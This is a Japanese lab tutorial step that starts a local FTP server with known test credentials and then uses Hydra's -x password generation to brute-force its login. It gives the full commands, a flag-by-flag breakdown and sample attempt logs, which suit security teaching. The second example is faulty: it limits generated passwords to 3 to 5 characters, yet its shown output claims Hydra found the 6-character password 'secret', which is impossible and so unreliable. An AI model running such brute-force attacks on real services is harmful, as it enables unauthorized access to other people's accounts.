生成パスワードによる FTP 攻撃
このステップでは、Hydra のパスワード生成機能を使用して、ダミーの FTP サーバーを攻撃します。-x オプションで「動的に」生成されたパスワードリストを使用します。
まず、テスト用のシンプルな FTP サーバーを設定する必要があります。python3-pyftpdlib を使用します。これは Python 用の軽量 FTP サーバーライブラリです。
まだインストールされていない場合は、python3-pyftpdlib をインストールします。
sudo apt update
sudo apt install -y python3-pyftpdlib
~/project ディレクトリからファイルを提供するポート 2121 で、バックグラウンドで FTP サーバーを起動します。-w オプションは書き込みアクセスを許可します。
nohup python3 -m pyftpdlib -p 2121 -w -u testuser -P secret ~/project > /dev/null 2>&1 &
nohup ... & の部分は、コマンドをバックグラウンドで実行し、ターミナルを閉じても停止しないようにします。> /dev/null 2>&1 は標準出力と標準エラーを /dev/null にリダイレクトし、ターミナルをクリーンに保ちます。-u testuser -P secret オプションは、パスワード「secret」を持つユーザーを設定し、サーバーにアクセスできるようにします。
次に、Hydra を使用してこの FTP サーバーを攻撃します。-x オプションを使用してパスワードを生成し、ユーザー「testuser」としてログインを試みます。
ターミナルで次のコマンドを実行します。
hydra -l testuser -vV -x 4:6:a-z 127.0.0.1 ftp -s 2121
このコマンドを分解しましょう。
hydra: Hydra コマンドラインツール。
-l testuser: 使用するユーザー名「testuser」。
-vV: 詳細な出力を有効にし、各ログイン試行を表示します。
-x 4:6:a-z: Hydra に次のようにパスワードを生成するように指示します。
4: 最小長は 4 文字。
6: 最大長は 6 文字。
a-z: 小文字(a-z)のみを使用します。
127.0.0.1: ターゲットホスト(localhost)。コンテナ内の潜在的な DNS 解決の問題を回避するために 127.0.0.1 を使用します。
ftp: 攻撃対象のサービス(FTP)。
-s 2121: ポート番号を指定します。ポート 2121 で実行されている FTP サーバーをターゲットにします。
Hydra が生成されたパスワードでログインを試行している様子が表示されます。FTP サーバーは特定の資格情報(ユーザー名:testuser、パスワード:secret)で構成されているため、Hydra はブルートフォース攻撃中に「secret」を生成すると正しいパスワードを見つけます。
重要: 攻撃を停止するには Ctrl+C を使用してください。完了するまでに時間がかかる可能性があります。
出力にはログイン試行が表示され、最終的にログイン成功メッセージが表示されます。
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
次に、小文字と数字を組み合わせた、少し複雑な例を試してみましょう。
hydra -l testuser -vV -x 3:5:a-z0-9 127.0.0.1 ftp -s 2121
これにより、「aaa」、「aab」、「aac」など、まず 3 文字の組み合わせ、次に 4 文字の組み合わせ、最後に 5 文字の組み合わせを順次生成します。生成されたパスワードとログイン成功を確認するために、出力を観察します。
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
このステップでは、-x オプションを使用して Hydra を使用してパスワードを生成し、FTP サーバーを攻撃する方法を示しました。これらの手法を責任と倫理的に使用してください。